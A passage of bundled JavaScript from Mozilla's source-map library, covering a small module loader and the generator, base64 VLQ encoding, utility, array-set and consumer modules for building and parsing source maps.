this._currentModule = moduleName; module(this.require.bind(this), exports, { id: moduleName, uri: "" }); this._currentModule = previousModule; module = exports; } // cache the resulting module object for next time this.modules[moduleName] = module; return module; }; }()); define.Domain = Domain; define.globalDomain = new Domain(); var require = define.globalDomain.require.bind(define.globalDomain); /* -*- Mode: js; js-indent-level: 2; -*- */ /* * Copyright 2011 Mozilla Foundation and contributors * Licensed under the New BSD license. See LICENSE or: * http://opensource.org/licenses/BSD-3-Clause */ define('source-map/source-map-generator', ['require', 'exports', 'module' , 'source-map/base64-vlq', 'source-map/util', 'source-map/array-set'], function(require, exports, module) { var base64VLQ = require('./base64-vlq'); var util = require('./util'); var ArraySet = require('./array-set').ArraySet; /** * An instance of the SourceMapGenerator represents a source map which is * being built incrementally. To create a new one, you must pass an object * with the following properties: * * - file: The filename of the generated source. * - sourceRoot: An optional root for all URLs in this source map. */ function SourceMapGenerator(aArgs) { this._file = util.getArg(aArgs, 'file'); this._sourceRoot = util.getArg(aArgs, 'sourceRoot', null); this._sources = new ArraySet(); this._names = new ArraySet(); this._mappings = []; this._sourcesContents = null; } SourceMapGenerator.prototype._version = 3; /** * Creates a new SourceMapGenerator based on a SourceMapConsumer * * @param aSourceMapConsumer The SourceMap. */ SourceMapGenerator.fromSourceMap = function SourceMapGenerator_fromSourceMap(aSourceMapConsumer) { var sourceRoot = aSourceMapConsumer.sourceRoot; var generator = new SourceMapGenerator({ file: aSourceMapConsumer.file, sourceRoot: sourceRoot }); aSourceMapConsumer.eachMapping(function (mapping) { var newMapping = { generated: { line: mapping.generatedLine, column: mapping.generatedColumn } }; if (mapping.source) { newMapping.source = mapping.source; if (sourceRoot) { newMapping.source = util.relative(sourceRoot, newMapping.source); } newMapping.original = { line: mapping.originalLine, column: mapping.originalColumn }; if (mapping.name) { newMapping.name = mapping.name; } } generator.addMapping(newMapping); }); aSourceMapConsumer.sources.forEach(function (sourceFile) { var content = aSourceMapConsumer.sourceContentFor(sourceFile); if (content) { generator.setSourceContent(sourceFile, content); } }); return generator; }; /** * Add a single mapping from original source line and column to the generated * source's line and column for this source map being created. The mapping * object should have the following properties: * * - generated: An object with the generated line and column positions. * - original: An object with the original line and column positions. * - source: The original source file (relative to the sourceRoot). * - name: An optional original token name for this mapping. */ SourceMapGenerator.prototype.addMapping = function SourceMapGenerator_addMapping(aArgs) { var generated = util.getArg(aArgs, 'generated'); var original = util.getArg(aArgs, 'original', null); var source = util.getArg(aArgs, 'source', null); var name = util.getArg(aArgs, 'name', null); this._validateMapping(generated, original, source, name); if (source && !this._sources.has(source)) { this._sources.add(source); } if (name && !this._names.has(name)) { this._names.add(name); } this._mappings.push({ generatedLine: generated.line, generatedColumn: generated.column, originalLine: original != null && original.line, originalColumn: original != null && original.column, source: source, name: name }); }; /** * Set the source content for a source file. */ SourceMapGenerator.prototype.setSourceContent = function SourceMapGenerator_setSourceContent(aSourceFile, aSourceContent) { var source = aSourceFile; if (this._sourceRoot) { source = util.relative(this._sourceRoot, source); } if (aSourceContent !== null) { // Add the source content to the _sourcesContents map. // Create a new _sourcesContents map if the property is null. if (!this._sourcesContents) { this._sourcesContents = {}; } this._sourcesContents[util.toSetString(source)] = aSourceContent; } else { // Remove the source file from the _sourcesContents map. // If the _sourcesContents map is empty, set the property to null. delete this._sourcesContents[util.toSetString(source)]; if (Object.keys(this._sourcesContents).length === 0) { this._sourcesContents = null; } } }; /** * Applies the mappings of a sub-source-map for a specific source file to the * source map being generated. Each mapping to the supplied source file is * rewritten using the supplied source map. Note: The resolution for the * resulting mappings is the minimium of this map and the supplied map. * * @param aSourceMapConsumer The source map to be applied. * @param aSourceFile Optional. The filename of the source file. * If omitted, SourceMapConsumer's file property will be used. */ SourceMapGenerator.prototype.applySourceMap = function SourceMapGenerator_applySourceMap(aSourceMapConsumer, aSourceFile) { // If aSourceFile is omitted, we will use the file property of the SourceMap if (!aSourceFile) { aSourceFile = aSourceMapConsumer.file; } var sourceRoot = this._sourceRoot; // Make "aSourceFile" relative if an absolute Url is passed. if (sourceRoot) { aSourceFile = util.relative(sourceRoot, aSourceFile); } // Applying the SourceMap can add and remove items from the sources and // the names array. var newSources = new ArraySet(); var newNames = new ArraySet(); // Find mappings for the "aSourceFile" this._mappings.forEach(function (mapping) { if (mapping.source === aSourceFile && mapping.originalLine) { // Check if it can be mapped by the source map, then update the mapping. var original = aSourceMapConsumer.originalPositionFor({ line: mapping.originalLine, column: mapping.originalColumn }); if (original.source !== null) { // Copy mapping if (sourceRoot) { mapping.source = util.relative(sourceRoot, original.source); } else { mapping.source = original.source; } mapping.originalLine = original.line; mapping.originalColumn = original.column; if (original.name !== null && mapping.name !== null) { // Only use the identifier name if it's an identifier // in both SourceMaps mapping.name = original.name; } } } var source = mapping.source; if (source && !newSources.has(source)) { newSources.add(source); } var name = mapping.name; if (name && !newNames.has(name)) { newNames.add(name); } }, this); this._sources = newSources; this._names = newNames; // Copy sourcesContents of applied map. aSourceMapConsumer.sources.forEach(function (sourceFile) { var content = aSourceMapConsumer.sourceContentFor(sourceFile); if (content) { if (sourceRoot) { sourceFile = util.relative(sourceRoot, sourceFile); } this.setSourceContent(sourceFile, content); } }, this); }; /** * A mapping can have one of the three levels of data: * * 1. Just the generated position. * 2. The Generated position, original position, and original source. * 3. Generated and original position, original source, as well as a name * token. * * To maintain consistency, we validate that any new mapping being added falls * in to one of these categories. */ SourceMapGenerator.prototype._validateMapping = function SourceMapGenerator_validateMapping(aGenerated, aOriginal, aSource, aName) { if (aGenerated && 'line' in aGenerated && 'column' in aGenerated && aGenerated.line > 0 && aGenerated.column >= 0 && !aOriginal && !aSource && !aName) { // Case 1. return; } else if (aGenerated && 'line' in aGenerated && 'column' in aGenerated && aOriginal && 'line' in aOriginal && 'column' in aOriginal && aGenerated.line > 0 && aGenerated.column >= 0 && aOriginal.line > 0 && aOriginal.column >= 0 && aSource) { // Cases 2 and 3. return; } else { throw new Error('Invalid mapping: ' + JSON.stringify({ generated: aGenerated, source: aSource, original: aOriginal, name: aName })); } }; /** * Serialize the accumulated mappings in to the stream of base 64 VLQs * specified by the source map format. */ SourceMapGenerator.prototype._serializeMappings = function SourceMapGenerator_serializeMappings() { var previousGeneratedColumn = 0; var previousGeneratedLine = 1; var previousOriginalColumn = 0; var previousOriginalLine = 0; var previousName = 0; var previousSource = 0; var result = ''; var mapping; // The mappings must be guaranteed to be in sorted order before we start // serializing them or else the generated line numbers (which are defined // via the ';' separators) will be all messed up. Note: it might be more // performant to maintain the sorting as we insert them, rather than as we // serialize them, but the big O is the same either way. this._mappings.sort(util.compareByGeneratedPositions); for (var i = 0, len = this._mappings.length; i < len; i++) { mapping = this._mappings[i]; if (mapping.generatedLine !== previousGeneratedLine) { previousGeneratedColumn = 0; while (mapping.generatedLine !== previousGeneratedLine) { result += ';'; previousGeneratedLine++; } } else { if (i > 0) { if (!util.compareByGeneratedPositions(mapping, this._mappings[i - 1])) { continue; } result += ','; } } result += base64VLQ.encode(mapping.generatedColumn - previousGeneratedColumn); previousGeneratedColumn = mapping.generatedColumn; if (mapping.source) { result += base64VLQ.encode(this._sources.indexOf(mapping.source) - previousSource); previousSource = this._sources.indexOf(mapping.source); // lines are stored 0-based in SourceMap spec version 3 result += base64VLQ.encode(mapping.originalLine - 1 - previousOriginalLine); previousOriginalLine = mapping.originalLine - 1; result += base64VLQ.encode(mapping.originalColumn - previousOriginalColumn); previousOriginalColumn = mapping.originalColumn; if (mapping.name) { result += base64VLQ.encode(this._names.indexOf(mapping.name) - previousName); previousName = this._names.indexOf(mapping.name); } } } return result; }; SourceMapGenerator.prototype._generateSourcesContent = function SourceMapGenerator_generateSourcesContent(aSources, aSourceRoot) { return aSources.map(function (source) { if (!this._sourcesContents) { return null; } if (aSourceRoot) { source = util.relative(aSourceRoot, source); } var key = util.toSetString(source); return Object.prototype.hasOwnProperty.call(this._sourcesContents, key) ? this._sourcesContents[key] : null; }, this); }; /** * Externalize the source map. */ SourceMapGenerator.prototype.toJSON = function SourceMapGenerator_toJSON() { var map = { version: this._version, file: this._file, sources: this._sources.toArray(), names: this._names.toArray(), mappings: this._serializeMappings() }; if (this._sourceRoot) { map.sourceRoot = this._sourceRoot; } if (this._sourcesContents) { map.sourcesContent = this._generateSourcesContent(map.sources, map.sourceRoot); } return map; }; /** * Render the source map being generated to a string. */ SourceMapGenerator.prototype.toString = function SourceMapGenerator_toString() { return JSON.stringify(this); }; exports.SourceMapGenerator = SourceMapGenerator; }); /* -*- Mode: js; js-indent-level: 2; -*- */ /* * Copyright 2011 Mozilla Foundation and contributors * Licensed under the New BSD license. See LICENSE or: * http://opensource.org/licenses/BSD-3-Clause * * Based on the Base 64 VLQ implementation in Closure Compiler: * https://code.google.com/p/closure-compiler/source/browse/trunk/src/com/google/debugging/sourcemap/Base64VLQ.java * * Copyright 2011 The Closure Compiler Authors. All rights reserved. * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. * * Neither the name of Google Inc. nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ define('source-map/base64-vlq', ['require', 'exports', 'module' , 'source-map/base64'], function(require, exports, module) { var base64 = require('./base64'); // A single base 64 digit can contain 6 bits of data. For the base 64 variable // length quantities we use in the source map spec, the first bit is the sign, // the next four bits are the actual value, and the 6th bit is the // continuation bit. The continuation bit tells us whether there are more // digits in this value following this digit. // // Continuation // | Sign // | | // V V // 101011 var VLQ_BASE_SHIFT = 5; // binary: 100000 var VLQ_BASE = 1 << VLQ_BASE_SHIFT; // binary: 011111 var VLQ_BASE_MASK = VLQ_BASE - 1; // binary: 100000 var VLQ_CONTINUATION_BIT = VLQ_BASE; /** * Converts from a two-complement value to a value where the sign bit is * is placed in the least significant bit. For example, as decimals: * 1 becomes 2 (10 binary), -1 becomes 3 (11 binary) * 2 becomes 4 (100 binary), -2 becomes 5 (101 binary) */ function toVLQSigned(aValue) { return aValue < 0 ? ((-aValue) << 1) + 1 : (aValue << 1) + 0; } /** * Converts to a two-complement value from a value where the sign bit is * is placed in the least significant bit. For example, as decimals: * 2 (10 binary) becomes 1, 3 (11 binary) becomes -1 * 4 (100 binary) becomes 2, 5 (101 binary) becomes -2 */ function fromVLQSigned(aValue) { var isNegative = (aValue & 1) === 1; var shifted = aValue >> 1; return isNegative ? -shifted : shifted; } /** * Returns the base 64 VLQ encoded value. */ exports.encode = function base64VLQ_encode(aValue) { var encoded = ""; var digit; var vlq = toVLQSigned(aValue); do { digit = vlq & VLQ_BASE_MASK; vlq >>>= VLQ_BASE_SHIFT; if (vlq > 0) { // There are still more digits in this value, so we must make sure the // continuation bit is marked. digit |= VLQ_CONTINUATION_BIT; } encoded += base64.encode(digit); } while (vlq > 0); return encoded; }; /** * Decodes the next base 64 VLQ value from the given string and returns the * value and the rest of the string. */ exports.decode = function base64VLQ_decode(aStr) { var i = 0; var strLen = aStr.length; var result = 0; var shift = 0; var continuation, digit; do { if (i >= strLen) { throw new Error("Expected more digits in base 64 VLQ value."); } digit = base64.decode(aStr.charAt(i++)); continuation = !!(digit & VLQ_CONTINUATION_BIT); digit &= VLQ_BASE_MASK; result = result + (digit << shift); shift += VLQ_BASE_SHIFT; } while (continuation); return { value: fromVLQSigned(result), rest: aStr.slice(i) }; }; }); /* -*- Mode: js; js-indent-level: 2; -*- */ /* * Copyright 2011 Mozilla Foundation and contributors * Licensed under the New BSD license. See LICENSE or: * http://opensource.org/licenses/BSD-3-Clause */ define('source-map/base64', ['require', 'exports', 'module' , ], function(require, exports, module) { var charToIntMap = {}; var intToCharMap = {}; 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' .split('') .forEach(function (ch, index) { charToIntMap[ch] = index; intToCharMap[index] = ch; }); /** * Encode an integer in the range of 0 to 63 to a single base 64 digit. */ exports.encode = function base64_encode(aNumber) { if (aNumber in intToCharMap) { return intToCharMap[aNumber]; } throw new TypeError("Must be between 0 and 63: " + aNumber); }; /** * Decode a single base 64 digit to an integer. */ exports.decode = function base64_decode(aChar) { if (aChar in charToIntMap) { return charToIntMap[aChar]; } throw new TypeError("Not a valid base 64 digit: " + aChar); }; }); /* -*- Mode: js; js-indent-level: 2; -*- */ /* * Copyright 2011 Mozilla Foundation and contributors * Licensed under the New BSD license. See LICENSE or: * http://opensource.org/licenses/BSD-3-Clause */ define('source-map/util', ['require', 'exports', 'module' , ], function(require, exports, module) { /** * This is a helper function for getting values from parameter/options * objects. * * @param args The object we are extracting values from * @param name The name of the property we are getting. * @param defaultValue An optional value to return if the property is missing * from the object. If this is not specified and the property is missing, an * error will be thrown. */ function getArg(aArgs, aName, aDefaultValue) { if (aName in aArgs) { return aArgs[aName]; } else if (arguments.length === 3) { return aDefaultValue; } else { throw new Error('"' + aName + '" is a required argument.'); } } exports.getArg = getArg; var urlRegexp = /([\w+\-.]+):\/\/((\w+:\w+)@)?([\w.]+)?(:(\d+))?(\S+)?/; var dataUrlRegexp = /^data:.+\,.+/; function urlParse(aUrl) { var match = aUrl.match(urlRegexp); if (!match) { return null; } return { scheme: match[1], auth: match[3], host: match[4], port: match[6], path: match[7] }; } exports.urlParse = urlParse; function urlGenerate(aParsedUrl) { var url = aParsedUrl.scheme + "://"; if (aParsedUrl.auth) { url += aParsedUrl.auth + "@" } if (aParsedUrl.host) { url += aParsedUrl.host; } if (aParsedUrl.port) { url += ":" + aParsedUrl.port } if (aParsedUrl.path) { url += aParsedUrl.path; } return url; } exports.urlGenerate = urlGenerate; function join(aRoot, aPath) { var url; if (aPath.match(urlRegexp) || aPath.match(dataUrlRegexp)) { return aPath; } if (aPath.charAt(0) === '/' && (url = urlParse(aRoot))) { url.path = aPath; return urlGenerate(url); } return aRoot.replace(/\/$/, '') + '/' + aPath; } exports.join = join; /** * Because behavior goes wacky when you set `__proto__` on objects, we * have to prefix all the strings in our set with an arbitrary character. * * See https://github.com/mozilla/source-map/pull/31 and * https://github.com/mozilla/source-map/issues/30 * * @param String aStr */ function toSetString(aStr) { return '$' + aStr; } exports.toSetString = toSetString; function fromSetString(aStr) { return aStr.substr(1); } exports.fromSetString = fromSetString; function relative(aRoot, aPath) { aRoot = aRoot.replace(/\/$/, ''); var url = urlParse(aRoot); if (aPath.charAt(0) == "/" && url && url.path == "/") { return aPath.slice(1); } return aPath.indexOf(aRoot + '/') === 0 ? aPath.substr(aRoot.length + 1) : aPath; } exports.relative = relative; function strcmp(aStr1, aStr2) { var s1 = aStr1 || ""; var s2 = aStr2 || ""; return (s1 > s2) - (s1 < s2); } /** * Comparator between two mappings where the original positions are compared. * * Optionally pass in `true` as `onlyCompareGenerated` to consider two * mappings with the same original source/line/column, but different generated * line and column the same. Useful when searching for a mapping with a * stubbed out mapping. */ function compareByOriginalPositions(mappingA, mappingB, onlyCompareOriginal) { var cmp; cmp = strcmp(mappingA.source, mappingB.source); if (cmp) { return cmp; } cmp = mappingA.originalLine - mappingB.originalLine; if (cmp) { return cmp; } cmp = mappingA.originalColumn - mappingB.originalColumn; if (cmp || onlyCompareOriginal) { return cmp; } cmp = strcmp(mappingA.name, mappingB.name); if (cmp) { return cmp; } cmp = mappingA.generatedLine - mappingB.generatedLine; if (cmp) { return cmp; } return mappingA.generatedColumn - mappingB.generatedColumn; }; exports.compareByOriginalPositions = compareByOriginalPositions; /** * Comparator between two mappings where the generated positions are * compared. * * Optionally pass in `true` as `onlyCompareGenerated` to consider two * mappings with the same generated line and column, but different * source/name/original line and column the same. Useful when searching for a * mapping with a stubbed out mapping. */ function compareByGeneratedPositions(mappingA, mappingB, onlyCompareGenerated) { var cmp; cmp = mappingA.generatedLine - mappingB.generatedLine; if (cmp) { return cmp; } cmp = mappingA.generatedColumn - mappingB.generatedColumn; if (cmp || onlyCompareGenerated) { return cmp; } cmp = strcmp(mappingA.source, mappingB.source); if (cmp) { return cmp; } cmp = mappingA.originalLine - mappingB.originalLine; if (cmp) { return cmp; } cmp = mappingA.originalColumn - mappingB.originalColumn; if (cmp) { return cmp; } return strcmp(mappingA.name, mappingB.name); }; exports.compareByGeneratedPositions = compareByGeneratedPositions; }); /* -*- Mode: js; js-indent-level: 2; -*- */ /* * Copyright 2011 Mozilla Foundation and contributors * Licensed under the New BSD license. See LICENSE or: * http://opensource.org/licenses/BSD-3-Clause */ define('source-map/array-set', ['require', 'exports', 'module' , 'source-map/util'], function(require, exports, module) { var util = require('./util'); /** * A data structure which is a combination of an array and a set. Adding a new * member is O(1), testing for membership is O(1), and finding the index of an * element is O(1). Removing elements from the set is not supported. Only * strings are supported for membership. */ function ArraySet() { this._array = []; this._set = {}; } /** * Static method for creating ArraySet instances from an existing array. */ ArraySet.fromArray = function ArraySet_fromArray(aArray, aAllowDuplicates) { var set = new ArraySet(); for (var i = 0, len = aArray.length; i < len; i++) { set.add(aArray[i], aAllowDuplicates); } return set; }; /** * Add the given string to this set. * * @param String aStr */ ArraySet.prototype.add = function ArraySet_add(aStr, aAllowDuplicates) { var isDuplicate = this.has(aStr); var idx = this._array.length; if (!isDuplicate || aAllowDuplicates) { this._array.push(aStr); } if (!isDuplicate) { this._set[util.toSetString(aStr)] = idx; } }; /** * Is the given string a member of this set? * * @param String aStr */ ArraySet.prototype.has = function ArraySet_has(aStr) { return Object.prototype.hasOwnProperty.call(this._set, util.toSetString(aStr)); }; /** * What is the index of the given string in the array? * * @param String aStr */ ArraySet.prototype.indexOf = function ArraySet_indexOf(aStr) { if (this.has(aStr)) { return this._set[util.toSetString(aStr)]; } throw new Error('"' + aStr + '" is not in the set.'); }; /** * What is the element at the given index? * * @param Number aIdx */ ArraySet.prototype.at = function ArraySet_at(aIdx) { if (aIdx >= 0 && aIdx < this._array.length) { return this._array[aIdx]; } throw new Error('No element indexed by ' + aIdx); }; /** * Returns the array representation of this set (which has the proper indices * indicated by indexOf). Note that this is a copy of the internal array used * for storing the members so that no one can mess with internal state. */ ArraySet.prototype.toArray = function ArraySet_toArray() { return this._array.slice(); }; exports.ArraySet = ArraySet; }); /* -*- Mode: js; js-indent-level: 2; -*- */ /* * Copyright 2011 Mozilla Foundation and contributors * Licensed under the New BSD license. See LICENSE or: * http://opensource.org/licenses/BSD-3-Clause */ define('source-map/source-map-consumer', ['require', 'exports', 'module' , 'source-map/util', 'source-map/binary-search', 'source-map/array-set', 'source-map/base64-vlq'], function(require, exports, module) { var util = require('./util'); var binarySearch = require('./binary-search'); var ArraySet = require('./array-set').ArraySet; var base64VLQ = require('./base64-vlq'); /** * A SourceMapConsumer instance represents a parsed source map which we can * query for information about the original file positions by giving it a file * position in the generated source. * * The only parameter is the raw source map (either as a JSON string, or * already parsed to an object). According to the spec, source maps have the * following attributes: * * - version: Which version of the source map spec this map is following. * - sources: An array of URLs to the original source files. * - names: An array of identifiers which can be referrenced by individual mappings. * - sourceRoot: Optional. The URL root from which all sources are relative. * - sourcesContent: Optional. An array of contents of the original source files. * - mappings: A string of base64 VLQs which contain the actual mappings. * - file: The generated file this source map is associated with. * * Here is an example source map, taken from the source map spec[0]: * * { * version : 3, * file: "out.js", * sourceRoot : "", * sources: ["foo.js", "bar.js"], * names: ["src", "maps", "are", "fun"], * mappings: "AA,AB;;ABCDE;" * } * * [0]: https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k/edit?pli=1# */ function SourceMapConsumer(aSourceMap) { var sourceMap = aSourceMap; if (typeof aSourceMap === 'string') { sourceMap = JSON.parse(aSourceMap.replace(/^\)\]\}'/, '')); } var version = util.getArg(sourceMap, 'version'); var sources = util.getArg(sourceMap, 'sources'); // Sass 3.3 leaves out the 'names' array, so we deviate from the spec (which // requires the array) to play nice here. var names = util.getArg(sourceMap, 'names', []); var sourceRoot = util.getArg(sourceMap, 'sourceRoot', null); var sourcesContent = util.getArg(sourceMap, 'sourcesContent', null); var mappings = util.getArg(sourceMap, 'mappings'); var file = util.getArg(sourceMap, 'file', null); // Once again, Sass deviates from the spec and supplies the version as a // string rather than a number, so we use loose equality checking here. if (version != this._version) { throw new Error('Unsupported version: ' + version); } // Pass `true` below to allow duplicate names and sources. While source maps // are intended to be compressed and deduplicated, the TypeScript compiler // sometimes generates source maps with duplicates in them. See Github issue // #72 and bugzil.la/889492. this._names = ArraySet.fromArray(names, true); this._sources = ArraySet.fromArray(sources, true); this.sourceRoot = sourceRoot; this.sourcesContent = sourcesContent; this._mappings = mappings; this.file = file; } /** * Create a SourceMapConsumer from a SourceMapGenerator. * * @param SourceMapGenerator aSourceMap * The source map that will be consumed. * @returns SourceMapConsumer */ SourceMapConsumer.fromSourceMap = function SourceMapConsumer_fromSourceMap(aSourceMap) { var smc = Object.create(SourceMapConsumer.prototype); smc._names = ArraySet.fromArray(aSourceMap._names.toArray(), true); smc._sources = ArraySet.fromArray(aSourceMap._sources.toArray(), true); smc.sourceRoot = aSourceMap._sourceRoot; smc.sourcesContent = aSourceMap._generateSourcesContent(smc._sources.toArray(), smc.sourceRoot); smc.file = aSourceMap._file; smc.__generatedMappings = aSourceMap._mappings.slice() .sort(util.compareByGeneratedPositions); smc.__originalMappings = aSourceMap._mappings.slice() .sort(util.compareByOriginalPositions); return smc; }; /** * The version of the source mapping spec that we are consuming. */ SourceMapConsumer.prototype._version = 3; /** * The list of original sources. */ Object.defineProperty(SourceMapConsumer.prototype, 'sources', { get: function () { return this._sources.toArray().map(function (s) { return this.sourceRoot ? util.join(this.sourceRoot, s) : s; }, this); } }); // `__generatedMappings` and `__originalMappings` are arrays that hold the // parsed mapping coordinates from the source map's "mappings" attribute. They // are lazily instantiated, accessed via the `_generatedMappings` and // `_originalMappings` getters respectively, and we only parse the mappings // and create these arrays once queried for a source location. We jump through // these hoops because there can be many thousands of mappings, and parsing // them is expensive, so we only want to do it if we must. // // Each object in the arrays is of the form: // // { // generatedLine: The line number in the generated code, // generatedColumn: The column number in the generated code, // source: The path to the original source file that generated this // chunk of code, // originalLine: The line number in the original source that // corresponds to this chunk of generated code, // originalColumn: The column number in the original source that // corresponds to this chunk of generated code, // name: The name of the original symbol which generated this chunk of // code. // } // // All properties except for `generatedLine` and `generatedColumn` can be // `null`. // // `_generatedMappings` is ordered by the generated positions. // // `_originalMappings` is ordered by the original positions. SourceMapConsumer.prototype.__generatedMappings = null; Object.defineProperty(SourceMapConsumer.prototype, '_generatedMappings', { get: function () { if (!this.__generatedMappings) { this.__generatedMappings = []; this.__originalMappings = []; this._parseMappings(this._mappings, this.sourceRoot); } return this.__generatedMappings; } }); SourceMapConsumer.prototype.__originalMappings = null; Object.defineProperty(SourceMapConsumer.prototype, '_originalMappings', { get: function () { if (!this.__originalMappings) { this.__generatedMappings = []; this.__originalMappings = []; this._parseMappings(this._mappings, this.sourceRoot); } return this.__originalMappings; } }); /** * Parse the mappings in a string in to a data structure which we can easily * query (the ordered arrays in the `this.__generatedMappings` and * `this.__originalMappings` properties). */ SourceMapConsumer.prototype._parseMappings = function SourceMapConsumer_parseMappings(aStr, aSourceRoot) { var generatedLine = 1; var previousGeneratedColumn = 0; var previousOriginalLine = 0; var previousOriginalColumn = 0; var previousSource = 0; var previousName = 0; var mappingSeparator = /^[,;]/; var str = aStr; var mapping; var temp; while (str.length > 0) { if (str.charAt(0) === ';') { generatedLine++; str = str.slice(1); previousGeneratedColumn = 0; } else if (str.charAt(0) === ',') { str = str.slice(1); } else { mapping = {}; mapping.generatedLine = generatedLine; // Generated column. temp = base64VLQ.decode(str); mapping.generatedColumn = previousGeneratedColumn + temp.value; previousGeneratedColumn = mapping.generatedColumn; str = temp.rest; if (str.length > 0 && !mappingSeparator.test(str.charAt(0))) { // Original source. temp = base64VLQ.decode(str); mapping.source = this._sources.at(previousSource + temp.value); previousSource += temp.value; str = temp.rest; if (str.length === 0 || mappingSeparator.test(str.charAt(0))) { throw new Error('Found a source, but no line and column'); } // Original line. temp = base64VLQ.decode(str); mapping.originalLine = previousOriginalLine + temp.value; previousOriginalLine = mapping.originalLine; // Lines are stored 0-based mapping.originalLine += 1; str = temp.rest; if (str.length === 0 || mappingSeparator.test(str.charAt(0))) { throw new Error('Found a source and line, but no column'); } // Original column. temp = base64VLQ.decode(str); mapping.originalColumn = previousOriginalColumn + temp.value; previousOriginalColumn = mapping.originalColumn; str = temp.rest; if (str.length > 0 && !mappingSeparator.test(str.charAt(0))) { // Original name. temp = base64VLQ.decode(str); mapping.name = this._names.at(previousName + temp.value); previousName += temp.value; str = temp.rest; } } this.__generatedMappings.push(mapping); if (typeof mapping.originalLine === 'number') { this.__originalMappings.push(mapping); } } } this.__originalMappings.sort(util.compareByOriginalPositions); }; /** * Find the mapping that best matches the hypothetical "needle" mapping that * we are searching for in the given "haystack" of mappings. */ SourceMapConsumer.prototype._findMapping = function SourceMapConsumer_findMapping(aNeedle, aMappings, aLineName, aColumnName, aComparator) { // To return the position we are searching for, we must first find the // mapping for the given position and then return the opposite position it // points to. Because the mappings are sorted, we can use binary search to // find the best mapping. if (aNeedle[aLineName] <= 0) { throw new TypeError('Line must be greater than or equal to 1, got ' + aNeedle[aLineName]); } if (aNeedle[aColumnName] < 0) { throw new TypeError('Column must be greater than or equal to 0, got ' + aNeedle[aColumnName]); } return binarySearch.search(aNeedle, aMappings, aComparator); }; /** * Returns the original source, line, and column information for the generated * source's line and column positions provided. The only argument is an object * with the following properties: * * - line: The line number in the generated source. * - column: The column number in the generated source. * * and an object is returned with the following properties: * * - source: The original source file, or null. * - line: The line number in the original source, or null. * - column: The column number in the original source, or null. * - name: The original identifier, or null. */ SourceMapConsumer.prototype.originalPositionFor = function SourceMapConsumer_originalPositionFor(aArgs) { var needle = { generatedLine: util.getArg(aArgs, 'line'), generatedColumn: util.getArg(aArgs, 'column') }; var mapping = this._findMapping(needle, this._generatedMappings, "generatedLine", "generatedColumn", util.compareByGeneratedPositions); if (mapping) { var source = util.getArg(mapping, 'source', null); if (source && this.sourceRoot) { source = util.join(this.sourceRoot, source); } return { source: source, line: util.getArg(mapping, 'originalLine', null), column: util.getArg(mapping, 'originalColumn', null), name: util.getArg(mapping, 'name', null) }; } return { source: null, line: null, column: null, name: null }; }; /** * Returns the original source content. The only argument is the url of the * original source file. Returns null if no original source content is * availible. */ SourceMapConsumer.prototype.sourceContentFor = function SourceMapConsumer_sourceContentFor(aSource) { if (!this.sourcesContent) { return null; } if (this.sourceRoot) { aSource = util.relative(this.sourceRoot, aSource); } if (this._sources.has(aSource)) { return this.sourcesContent[this._sources.indexOf(aSource)]; } var url; if (this.sourceRoot && (url = util.urlParse(this.sourceRoot))) { // XXX: file:// URIs and absolute paths lead to unexpected behavior for // many users. We can help them out when they expect file:// URIs to // behave like it would if they were running a local HTTP server. See // https://bugzilla.mozilla.org/show_bug.cgi?id=885597. var fileUriAbsPath = aSource.replace(/^file:\/\//, ""); if (url.scheme == "file" && this._sources.has(fileUriAbsPath)) { return this.sourcesContent[this._sources.indexOf(fileUriAbsPath)] } if ((!url.path || url.path == "/") && this._sources.has("/" + aSource)) { return this.sourcesContent[this._sources.indexOf("/" + aSource)]; } } throw new Error('"' + aSource + '" is not in the SourceMap.'); }; /** * Returns the generated line and column information for the original source, * line, and column positions provided. The only argument is an object with * the following properties: * * - source: The filename of the original source. * - line: The line number in the original source. * - column: The column number in the original source. * * and an object is returned with the following properties: * * - line: The line number in the generated source, or null. * - column: The column number in the generated source, or null. */ SourceMapConsumer.prototype.generatedPositionFor = function SourceMapConsumer_generatedPositionFor(aArgs) { var needle = { source: util.getArg(aArgs, 'source'), originalLine: util.getArg(aArgs, 'line'), originalColumn: util.getArg(aArgs, 'column') }; if (this.sourceRoot) { needle.source = util.relative(this.sourceRoot, needle.source); } var mapping = this._findMapping(needle, this._originalMappings, "originalLine", "originalColumn", util.compareByOriginalPositions); if (mapping) { return { line: util.getArg(mapping, 'generatedLine', null), column: util.getArg(mapping, 'generatedColumn', null) }; } return { line: null, column: null }; }; SourceMapConsumer.GENERATED_ORDER = 1; SourceMapConsumer.ORIGINAL_ORDER = 2; /** * Iterate over each mapping between an original source/line/column and a * generated line/column in this source map. * * @param Function aCallback * The function that is called with each mapping. * @param Object aContext * Optional. If specified, this object will be the value of `this` every * time that `aCallback` is called. * @param aOrder * Either `SourceMapConsumer.GENERATED_ORDER` or * `SourceMapConsumer.ORIGINAL_ORDER`. Specifies whether you want to * iterate over the mappings sorted by the generated file's line/column * order or the original's source/line/column order, respectively. Defaults to * `SourceMapConsumer.GENERATED_ORDER`. */ SourceMapConsumer.prototype.eachMapping = function 